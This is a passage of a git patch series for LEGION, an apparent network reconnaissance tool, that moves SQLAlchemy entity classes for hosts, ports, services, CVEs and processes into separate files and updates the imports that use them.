Dubson Date: Tue, 24 Sep 2019 18:04:56 -0700 Subject: [PATCH 293/450] Refactor 'process' entity into its own file --- db/database.py | 43 +------------------ db/entities/process.py | 43 +++++++++++++++++++ db/repositories/ProcessRepository.py | 3 +- .../db/repositories/test_ProcessRepository.py | 6 ++- 4 files changed, 51 insertions(+), 44 deletions(-) create mode 100644 db/entities/process.py diff --git a/db/database.py b/db/database.py index e92a8676..287b5cfe 100644 --- a/db/database.py +++ b/db/database.py @@ -19,54 +19,15 @@ import time from random import randint -from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func, create_engine, Table -from sqlalchemy.orm import relationship, backref, sessionmaker +from sqlalchemy import Column, String, Integer, ForeignKey, create_engine +from sqlalchemy.orm import relationship, sessionmaker from sqlalchemy.orm.scoping import scoped_session from sqlalchemy.ext.declarative import declarative_base -from sqlalchemy.pool import SingletonThreadPool from six import u as unicode Base = declarative_base() -class process(Base): - __tablename__ = 'process' - pid = Column(String) - id = Column(Integer, primary_key = True) - display = Column(String) - name = Column(String) - tabTitle = Column(String) - hostIp = Column(String) - port = Column(String) - protocol = Column(String) - command = Column(String) - startTime = Column(String) - endTime = Column(String) - estimatedRemaining = Column(Integer) - elapsed = Column(Integer) - outputfile = Column(String) - output = relationship("process_output") - status = Column(String) - closed = Column(String) - - def __init__(self, pid, *args): - self.display = 'True' - self.pid = pid - self.name = args[0] - self.tabTitle = args[1] - self.hostIp = args[2] - self.port = args[3] - self.protocol = args[4] - self.command = args[5] - self.startTime = args[6] - self.endTime = args[7] - self.outputfile = args[8] - self.output = args[10] - self.status = args[9] - self.closed = 'False' - self.estimatedRemaining = args[11] - self.elapsed = args[12] - # This class holds various info about an nmap scan class nmapSessionObj(Base): __tablename__ = 'nmapSessionObj' diff --git a/db/entities/process.py b/db/entities/process.py new file mode 100644 index 00000000..6a92219c --- /dev/null +++ b/db/entities/process.py @@ -0,0 +1,43 @@ +from sqlalchemy import Column, String, Integer +from sqlalchemy.orm import relationship + +from db.database import Base + + +class process(Base): + __tablename__ = 'process' + pid = Column(String) + id = Column(Integer, primary_key = True) + display = Column(String) + name = Column(String) + tabTitle = Column(String) + hostIp = Column(String) + port = Column(String) + protocol = Column(String) + command = Column(String) + startTime = Column(String) + endTime = Column(String) + estimatedRemaining = Column(Integer) + elapsed = Column(Integer) + outputfile = Column(String) + output = relationship("process_output") + status = Column(String) + closed = Column(String) + + def __init__(self, pid, *args): + self.display = 'True' + self.pid = pid + self.name = args[0] + self.tabTitle = args[1] + self.hostIp = args[2] + self.port = args[3] + self.protocol = args[4] + self.command = args[5] + self.startTime = args[6] + self.endTime = args[7] + self.outputfile = args[8] + self.output = args[10] + self.status = args[9] + self.closed = 'False' + self.estimatedRemaining = args[11] + self.elapsed = args[12] \ No newline at end of file diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index 2c0bf4c2..547ed1dc 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -18,7 +18,8 @@ from app.auxiliary import getTimestamp from six import u as unicode -from db.database import process, process_output, Database +from db.database import process_output, Database +from db.entities.process import process class ProcessRepository: diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index b1671a74..99e56932 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -77,7 +77,8 @@ def test_storeProcess_WhenProvidedAProcess_StoreProcess(self): self.mockDbAdapter.commit.assert_called_once() def test_storeProcessOutput_WhenProvidedExistingProcessIdAndOutput_StoresProcessOutput(self): - from db.database import process, process_output + from db.database import process_output + from db.entities.process import process expected_process: process = MagicMock() process.status = 'Running' @@ -292,7 +293,8 @@ def assertProcessStatusUpdatedTo(self, expected_status: str): self.mockDbAdapter.commit.assert_called_once() def whenProcessDoesNotFinishGracefully(self, process_status: str): - from db.database import process, process_output + from db.database import process_output + from db.entities.process import process expected_process: process = MagicMock() expected_process.status = process_status From 40097403b92d955f257aa3b8fc6c345b45ef13ca Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Tue, 24 Sep 2019 18:14:58 -0700 Subject: [PATCH 294/450] Refactor 'nmapSessionObj' entity into its own file --- app/importers/NmapImporter.py | 3 ++- db/database.py | 22 ---------------------- db/entities/nmapSession.py | 25 +++++++++++++++++++++++++ 3 files changed, 27 insertions(+), 23 deletions(-) create mode 100644 db/entities/nmapSession.py diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 97a2b8c9..d8def15d 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -19,7 +19,8 @@ from PyQt5 import QtCore -from db.database import nmapSessionObj, hostObj, note, osObj, serviceObj, portObj, l1ScriptObj +from db.database import hostObj, note, osObj, serviceObj, portObj, l1ScriptObj +from db.entities.nmapSession import nmapSessionObj from parsers.Parser import Parser from ui.ancillaryDialog import ProgressWidget, time diff --git a/db/database.py b/db/database.py index 287b5cfe..5f7c3d92 100644 --- a/db/database.py +++ b/db/database.py @@ -28,28 +28,6 @@ Base = declarative_base() -# This class holds various info about an nmap scan -class nmapSessionObj(Base): - __tablename__ = 'nmapSessionObj' - filename = Column(String, primary_key = True) - startTime = Column(String) - finish_time = Column(String) - nmapVersion = Column(String) - scanArgs = Column(String) - totalHosts = Column(String) - upHosts = Column(String) - downHosts = Column(String) - - def __init__(self, filename, *args, **kwargs): - self.filename = filename - self.startTime = args[0] - self.finish_time = args[1] - self.nmapVersion = kwargs.get('nmapVersion') or 'unknown' - self.scanArgs = kwargs.get('scanArgs') or '' - self.totalHosts = kwargs.get('total_host') or '0' - self.upHosts = kwargs.get('upHosts') or '0' - self.downHosts = kwargs.get('downHosts') or '0' - class osObj(Base): __tablename__ = 'osObj' diff --git a/db/entities/nmapSession.py b/db/entities/nmapSession.py new file mode 100644 index 00000000..3f67665b --- /dev/null +++ b/db/entities/nmapSession.py @@ -0,0 +1,25 @@ +from sqlalchemy import String, Column + +from db.database import Base + + +class nmapSessionObj(Base): + __tablename__ = 'nmapSessionObj' + filename = Column(String, primary_key=True) + startTime = Column(String) + finish_time = Column(String) + nmapVersion = Column(String) + scanArgs = Column(String) + totalHosts = Column(String) + upHosts = Column(String) + downHosts = Column(String) + + def __init__(self, filename, *args, **kwargs): + self.filename = filename + self.startTime = args[0] + self.finish_time = args[1] + self.nmapVersion = kwargs.get('nmapVersion') or 'unknown' + self.scanArgs = kwargs.get('scanArgs') or '' + self.totalHosts = kwargs.get('total_host') or '0' + self.upHosts = kwargs.get('upHosts') or '0' + self.downHosts = kwargs.get('downHosts') or '0' From 68ab3bbb24792d24bde3f5b125e19b37d16e5393 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 25 Sep 2019 03:46:08 -0700 Subject: [PATCH 295/450] Refactor 'host', 'cve', 'service', and more entities into its own file --- app/importers/NmapImporter.py | 6 +- app/importers/PythonImporter.py | 2 +- db/database.py | 160 +----------------- db/entities/cve.py | 49 ++++++ db/entities/host.py | 91 ++++++++++ db/entities/os.py | 41 +++++ db/entities/port.py | 38 +++++ db/entities/service.py | 43 +++++ db/repositories/HostRepository.py | 3 +- db/repositories/PortRepository.py | 3 +- db/repositories/ScriptRepository.py | 2 +- db/repositories/ServiceRepository.py | 3 +- parsers/Script.py | 1 + tests/db/repositories/test_HostRepository.py | 2 +- .../db/repositories/test_ServiceRepository.py | 12 +- 15 files changed, 283 insertions(+), 173 deletions(-) create mode 100644 db/entities/cve.py create mode 100644 db/entities/host.py create mode 100644 db/entities/os.py create mode 100644 db/entities/port.py create mode 100644 db/entities/service.py diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index d8def15d..810f6c8c 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -19,8 +19,12 @@ from PyQt5 import QtCore -from db.database import hostObj, note, osObj, serviceObj, portObj, l1ScriptObj +from db.database import note, l1ScriptObj +from db.entities.host import hostObj from db.entities.nmapSession import nmapSessionObj +from db.entities.os import osObj +from db.entities.port import portObj +from db.entities.service import serviceObj from parsers.Parser import Parser from ui.ancillaryDialog import ProgressWidget, time diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index f4cf99d3..77090527 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -17,7 +17,7 @@ """ from PyQt5 import QtCore -from db.database import hostObj +from db.entities.host import hostObj from scripts.python import pyShodan from ui.ancillaryDialog import ProgressWidget, time diff --git a/db/database.py b/db/database.py index 5f7c3d92..a24f23e8 100644 --- a/db/database.py +++ b/db/database.py @@ -10,7 +10,6 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' - from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-db.log", console=False) log.setLevel(logging.INFO) @@ -20,7 +19,7 @@ from random import randint from sqlalchemy import Column, String, Integer, ForeignKey, create_engine -from sqlalchemy.orm import relationship, sessionmaker +from sqlalchemy.orm import sessionmaker from sqlalchemy.orm.scoping import scoped_session from sqlalchemy.ext.declarative import declarative_base @@ -29,70 +28,6 @@ Base = declarative_base() -class osObj(Base): - __tablename__ = 'osObj' - id = Column(Integer, primary_key = True) - name = Column(String) - family = Column(String) - generation = Column(String) - osType = Column(String) - vendor = Column(String) - accuracy = Column(String) - hostId = Column(String, ForeignKey('hostObj.id')) - - def __init__(self, name, *args): - self.name = name - self.family = args[0] - self.generation = args[1] - self.osType = args[2] - self.vendor = args[3] - self.accuracy = args[4] - self.hostId = args[5] - -class portObj(Base): - __tablename__ = 'portObj' - portId = Column(String) - id = Column(Integer, primary_key = True) - protocol = Column(String) - state = Column(String) - hostId = Column(String, ForeignKey('hostObj.id')) - serviceId = Column(String, ForeignKey('serviceObj.id')) - scriptId = Column(String, ForeignKey('l1ScriptObj.id')) - - def __init__(self, portId, protocol, state, host, service = ''): - self.portId = portId - self.protocol = protocol - self.state = state - self.serviceId = service - self.hostId = host - -class cve(Base): - __tablename__ = 'cve' - name = Column(String) - id = Column(Integer, primary_key = True) - url = Column(String) - product = Column(String) - severity = Column(String) - source = Column(String) - version = Column(String) - exploitId = Column(Integer) - exploit = Column(String) - exploitUrl = Column(String) - serviceId = Column(String, ForeignKey('serviceObj.id')) - hostId = Column(String, ForeignKey('hostObj.id')) - - def __init__(self, name, url, product, hostId, severity = '', source = '', version = '', exploitId = 0, exploit = '', exploitUrl = ''): - self.url = url - self.name = name - self.product = product - self.severity = severity - self.source = source - self.version = version - self.exploitId = exploitId - self.exploit = exploit - self.exploitUrl = exploitUrl - self.hostId = hostId - class appObj(Base): __tablename__ = 'appObj' name = Column(String) @@ -112,25 +47,6 @@ def __init__(self, name = '', product = '', version = '', extrainfo = '', finger self.fingerprint = fingerprint self.cpe = cpe -class serviceObj(Base): - __tablename__ = 'serviceObj' - name = Column(String) - id = Column(Integer, primary_key = True) - product = Column(String) - version = Column(String) - extrainfo = Column(String) - fingerprint = Column(String) - port = relationship(portObj) - cves = relationship(cve) - application = relationship(appObj) - - def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = ''): - self.name = name - self.product = product - self.version = version - self.extrainfo = extrainfo - self.fingerprint = fingerprint - class l1ScriptObj(Base): __tablename__ = 'l1ScriptObj' scriptId = Column(String) @@ -159,80 +75,6 @@ def __init__(self, scriptId, output, portId, hostId): self.portId = portId self.hostId = hostId - -class hostObj(Base): - __tablename__ = 'hostObj' - # State - state = Column(String) - count = Column(String) - checked = Column(String) - - # OS - osMatch = Column(String) - osAccuracy = Column(String) - vendor = Column(String) - uptime = Column(String) - lastboot = Column(String) - - # Network - isp = Column(String) - asn = Column(String) - ip = Column(String) - ipv4 = Column(String) - ipv6 = Column(String) - macaddr = Column(String) - status = Column(String) - hostname = Column(String) - - # ID - hostId = Column(String) - id = Column(Integer, primary_key = True) - count = Column(String) - - # Location - city = Column(String) - countryCode = Column(String) - postalCode = Column(String) - longitude = Column(String) - latitude = Column(String) - distance = Column(String) - - # Network - isp = Column(String) - asn = Column(String) - - # host relationships - os = relationship(osObj) - ports = relationship(portObj) - cves = relationship(cve) - - def __init__(self, **kwargs): - self.checked = kwargs.get('checked') or 'False' - self.osMatch = kwargs.get('osMatch') or 'unknown' - self.osAccuracy = kwargs.get('osAccuracy') or 'NaN' - self.ip = kwargs.get('ip') or 'unknown' - self.ipv4 = kwargs.get('ipv4') or 'unknown' - self.ipv6 = kwargs.get('ipv6') or 'unknown' - self.macaddr = kwargs.get('macaddr') or 'unknown' - self.status = kwargs.get('status') or 'unknown' - self.hostname = kwargs.get('hostname') or 'unknown' - self.hostId = kwargs.get('hostname') or 'unknown' - self.vendor = kwargs.get('vendor') or 'unknown' - self.uptime = kwargs.get('uptime') or 'unknown' - self.lastboot = kwargs.get('lastboot') or 'unknown' - self.distance = kwargs.get('distance') or 'unknown' - self.state = kwargs.get('state') or 'unknown' - self.count = kwargs.get('count') or 'unknown' - self.city = kwargs.get('city') or 'unknown' - self.countryCode = kwargs.get('countryCode') or 'unknown' - self.postalCode = kwargs.get('postalCode') or 'unknown' - self.longitude = kwargs.get('longitude') or 'unknown' - self.latitude = kwargs.get('latitude') or 'unknown' - self.isp = kwargs.get('isp') or 'unknown' - self.asn = kwargs.get('asn') or 'unknown' - - - class note(Base): __tablename__ = 'note' hostId = Column(Integer, ForeignKey('hostObj.id')) diff --git a/db/entities/cve.py b/db/entities/cve.py new file mode 100644 index 00000000..d6001c4b --- /dev/null +++ b/db/entities/cve.py @@ -0,0 +1,49 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import String, Column, Integer, ForeignKey + +from db.database import Base + + +class cve(Base): + __tablename__ = 'cve' + name = Column(String) + id = Column(Integer, primary_key=True) + url = Column(String) + product = Column(String) + severity = Column(String) + source = Column(String) + version = Column(String) + exploitId = Column(Integer) + exploit = Column(String) + exploitUrl = Column(String) + serviceId = Column(String, ForeignKey('serviceObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) + + def __init__(self, name, url, product, hostId, severity='', source='', version='', exploitId=0, exploit='', + exploitUrl=''): + self.url = url + self.name = name + self.product = product + self.severity = severity + self.source = source + self.version = version + self.exploitId = exploitId + self.exploit = exploit + self.exploitUrl = exploitUrl + self.hostId = hostId diff --git a/db/entities/host.py b/db/entities/host.py new file mode 100644 index 00000000..3e92ebcf --- /dev/null +++ b/db/entities/host.py @@ -0,0 +1,91 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Column, String, Integer +from sqlalchemy.orm import relationship + +from db.database import Base +from db.entities.cve import cve +from db.entities.os import osObj +from db.entities.port import portObj + + +class hostObj(Base): + __tablename__ = 'hostObj' + # State + state = Column(String) + count = Column(String) + checked = Column(String) + + # OS + osMatch = Column(String) + osAccuracy = Column(String) + vendor = Column(String) + uptime = Column(String) + lastboot = Column(String) + + # Network + isp = Column(String) + asn = Column(String) + ip = Column(String) + ipv4 = Column(String) + ipv6 = Column(String) + macaddr = Column(String) + status = Column(String) + hostname = Column(String) + + # ID + hostId = Column(String) + id = Column(Integer, primary_key=True) + + # Location + city = Column(String) + countryCode = Column(String) + postalCode = Column(String) + longitude = Column(String) + latitude = Column(String) + distance = Column(String) + + # host relationships + os = relationship(osObj) + ports = relationship(portObj) + cves = relationship(cve) + + def __init__(self, **kwargs): + self.checked = kwargs.get('checked') or 'False' + self.osMatch = kwargs.get('osMatch') or 'unknown' + self.osAccuracy = kwargs.get('osAccuracy') or 'NaN' + self.ip = kwargs.get('ip') or 'unknown' + self.ipv4 = kwargs.get('ipv4') or 'unknown' + self.ipv6 = kwargs.get('ipv6') or 'unknown' + self.macaddr = kwargs.get('macaddr') or 'unknown' + self.status = kwargs.get('status') or 'unknown' + self.hostname = kwargs.get('hostname') or 'unknown' + self.hostId = kwargs.get('hostname') or 'unknown' + self.vendor = kwargs.get('vendor') or 'unknown' + self.uptime = kwargs.get('uptime') or 'unknown' + self.lastboot = kwargs.get('lastboot') or 'unknown' + self.distance = kwargs.get('distance') or 'unknown' + self.state = kwargs.get('state') or 'unknown' + self.count = kwargs.get('count') or 'unknown' + self.city = kwargs.get('city') or 'unknown' + self.countryCode = kwargs.get('countryCode') or 'unknown' + self.postalCode = kwargs.get('postalCode') or 'unknown' + self.longitude = kwargs.get('longitude') or 'unknown' + self.latitude = kwargs.get('latitude') or 'unknown' + self.isp = kwargs.get('isp') or 'unknown' + self.asn = kwargs.get('asn') or 'unknown' diff --git a/db/entities/os.py b/db/entities/os.py new file mode 100644 index 00000000..39b32aae --- /dev/null +++ b/db/entities/os.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Integer, Column, String, ForeignKey + +from db.database import Base + + +class osObj(Base): + __tablename__ = 'osObj' + id = Column(Integer, primary_key=True) + name = Column(String) + family = Column(String) + generation = Column(String) + osType = Column(String) + vendor = Column(String) + accuracy = Column(String) + hostId = Column(String, ForeignKey('hostObj.id')) + + def __init__(self, name, *args): + self.name = name + self.family = args[0] + self.generation = args[1] + self.osType = args[2] + self.vendor = args[3] + self.accuracy = args[4] + self.hostId = args[5] diff --git a/db/entities/port.py b/db/entities/port.py new file mode 100644 index 00000000..1490c89b --- /dev/null +++ b/db/entities/port.py @@ -0,0 +1,38 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Integer, Column, String, ForeignKey + +from db.database import Base + + +class portObj(Base): + __tablename__ = 'portObj' + portId = Column(String) + id = Column(Integer, primary_key=True) + protocol = Column(String) + state = Column(String) + hostId = Column(String, ForeignKey('hostObj.id')) + serviceId = Column(String, ForeignKey('serviceObj.id')) + scriptId = Column(String, ForeignKey('l1ScriptObj.id')) + + def __init__(self, portId, protocol, state, host, service=''): + self.portId = portId + self.protocol = protocol + self.state = state + self.serviceId = service + self.hostId = host diff --git a/db/entities/service.py b/db/entities/service.py new file mode 100644 index 00000000..70ccd7ce --- /dev/null +++ b/db/entities/service.py @@ -0,0 +1,43 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import String, Column, Integer +from sqlalchemy.orm import relationship + +from db.database import Base, appObj +from db.entities.cve import cve +from db.entities.port import portObj + + +class serviceObj(Base): + __tablename__ = 'serviceObj' + name = Column(String) + id = Column(Integer, primary_key=True) + product = Column(String) + version = Column(String) + extrainfo = Column(String) + fingerprint = Column(String) + port = relationship(portObj) + cves = relationship(cve) + application = relationship(appObj) + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + self.name = name + self.product = product + self.version = version + self.extrainfo = extrainfo + self.fingerprint = fingerprint diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index 30672862..b3d19acb 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -16,7 +16,8 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters -from db.database import Database, hostObj +from db.database import Database +from db.entities.host import hostObj from db.filters import applyFilters, applyHostsFilters diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index aab27485..ce5315e2 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -15,7 +15,8 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database, portObj, l1ScriptObj +from db.database import Database, l1ScriptObj +from db.entities.port import portObj from db.filters import applyPortFilters diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index ad766508..cdde1a88 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -31,4 +31,4 @@ def getScriptsByHostIP(self, hostIP): def getScriptOutputById(self, scriptDBId): query = "SELECT script.output FROM l1ScriptObj as script WHERE script.id = ?" - return self.dbAdapter.metadata.bind.execute(query, str(scriptDBId)).fetchall() \ No newline at end of file + return self.dbAdapter.metadata.bind.execute(query, str(scriptDBId)).fetchall() diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index c67c1f5c..15c73847 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -15,8 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from app.auxiliary import sanitise, Filters -from db.database import hostObj +from app.auxiliary import Filters from db.filters import applyFilters diff --git a/parsers/Script.py b/parsers/Script.py index 2de8df51..c7354218 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -1,4 +1,5 @@ #!/usr/bin/python +from db.entities.cve import cve __author__ = 'ketchup' __version__= '0.1' diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py index b605b31d..1ec54a64 100644 --- a/tests/db/repositories/test_HostRepository.py +++ b/tests/db/repositories/test_HostRepository.py @@ -87,7 +87,7 @@ def test_getHosts_InvokedWithAFewFilters_ReturnsFilteredHosts(self): self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery) def test_getHostInfo_WhenProvidedHostIpAddress_FetchesHostInformation(self): - from db.database import hostObj + from db.entities.host import hostObj expected_host_info: hostObj = MagicMock() self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(expected_host_info)) diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py index 0a6ed631..11fc9ce0 100644 --- a/tests/db/repositories/test_ServiceRepository.py +++ b/tests/db/repositories/test_ServiceRepository.py @@ -18,7 +18,7 @@ import unittest from unittest.mock import MagicMock, patch -from tests.db.helpers.db_helpers import mockExecuteFetchAll, mockFirstByReturnValue, mockQueryWithFilterBy +from tests.db.helpers.db_helpers import mockExecuteFetchAll, mockFirstByReturnValue class ServiceRepositoryTest(unittest.TestCase): @@ -39,11 +39,11 @@ def getServiceNamesTestCase(self, filters, expectedQuery): def test_getServiceNames_InvokedWithNoFilters_FetchesAllServiceNames(self): from app.auxiliary import Filters - expectedQuery = query = ("SELECT DISTINCT service.name FROM serviceObj as service " - "INNER JOIN portObj as ports " - "INNER JOIN hostObj AS hosts " - "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " - "ORDER BY service.name ASC") + expectedQuery = ("SELECT DISTINCT service.name FROM serviceObj as service " + "INNER JOIN portObj as ports " + "INNER JOIN hostObj AS hosts " + "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " + "ORDER BY service.name ASC") filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) From 566e23d50bd7b3eb8509b9d7aa4938b71b2092aa Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 25 Sep 2019 03:57:56 -0700 Subject: [PATCH 296/450] Refactor 'appObj' entity into its own file --- db/database.py | 19 ------------------- db/entities/app.py | 40 ++++++++++++++++++++++++++++++++++++++++ db/entities/service.py | 3 ++- 3 files changed, 42 insertions(+), 20 deletions(-) create mode 100644 db/entities/app.py diff --git a/db/database.py b/db/database.py index a24f23e8..290cb9c8 100644 --- a/db/database.py +++ b/db/database.py @@ -28,25 +28,6 @@ Base = declarative_base() -class appObj(Base): - __tablename__ = 'appObj' - name = Column(String) - id = Column(Integer, primary_key = True) - product = Column(String) - version = Column(String) - extrainfo = Column(String) - fingerprint = Column(String) - cpe = Column(String) - serviceId = Column(String, ForeignKey('serviceObj.id')) - - def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = '', cpe = ''): - self.name = name - self.product = product - self.version = version - self.extrainfo = extrainfo - self.fingerprint = fingerprint - self.cpe = cpe - class l1ScriptObj(Base): __tablename__ = 'l1ScriptObj' scriptId = Column(String) diff --git a/db/entities/app.py b/db/entities/app.py new file mode 100644 index 00000000..9fd64195 --- /dev/null +++ b/db/entities/app.py @@ -0,0 +1,40 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Column, String, ForeignKey, Integer + +from db.database import Base + + +class appObj(Base): + __tablename__ = 'appObj' + name = Column(String) + id = Column(Integer, primary_key=True) + product = Column(String) + version = Column(String) + extrainfo = Column(String) + fingerprint = Column(String) + cpe = Column(String) + serviceId = Column(String, ForeignKey('serviceObj.id')) + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint='', cpe=''): + self.name = name + self.product = product + self.version = version + self.extrainfo = extrainfo + self.fingerprint = fingerprint + self.cpe = cpe diff --git a/db/entities/service.py b/db/entities/service.py index 70ccd7ce..ab009d80 100644 --- a/db/entities/service.py +++ b/db/entities/service.py @@ -18,7 +18,8 @@ from sqlalchemy import String, Column, Integer from sqlalchemy.orm import relationship -from db.database import Base, appObj +from db.database import Base +from db.entities.app import appObj from db.entities.cve import cve from db.entities.port import portObj From f7b05c08562714aafc65a58213d41734a0541d74 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 25 Sep 2019 04:01:09 -0700 Subject: [PATCH 297/450] Refactor 'process_output' entity into its own file --- db/database.py | 9 ------ db/entities/processOutput.py | 31 +++++++++++++++++++ db/repositories/ProcessRepository.py | 3 +- .../db/repositories/test_ProcessRepository.py | 4 +-- 4 files changed, 35 insertions(+), 12 deletions(-) create mode 100644 db/entities/processOutput.py diff --git a/db/database.py b/db/database.py index 290cb9c8..d9f740a0 100644 --- a/db/database.py +++ b/db/database.py @@ -66,15 +66,6 @@ def __init__(self, hostId, text): self.text = unicode(text) self.hostId = hostId -class process_output(Base): - __tablename__ = 'process_output' - processId = Column(Integer, ForeignKey('process.id')) - id = Column(Integer, primary_key = True) - output = Column(String) - - def __init__(self): - self.output = unicode('') - class Database: def __init__(self, dbfilename): diff --git a/db/entities/processOutput.py b/db/entities/processOutput.py new file mode 100644 index 00000000..f0ecb25b --- /dev/null +++ b/db/entities/processOutput.py @@ -0,0 +1,31 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Column, Integer, ForeignKey, String + +from db.database import Base +from six import u as unicode + + +class process_output(Base): + __tablename__ = 'process_output' + processId = Column(Integer, ForeignKey('process.id')) + id = Column(Integer, primary_key=True) + output = Column(String) + + def __init__(self): + self.output = unicode('') diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index 547ed1dc..09512776 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -18,8 +18,9 @@ from app.auxiliary import getTimestamp from six import u as unicode -from db.database import process_output, Database +from db.database import Database from db.entities.process import process +from db.entities.processOutput import process_output class ProcessRepository: diff --git 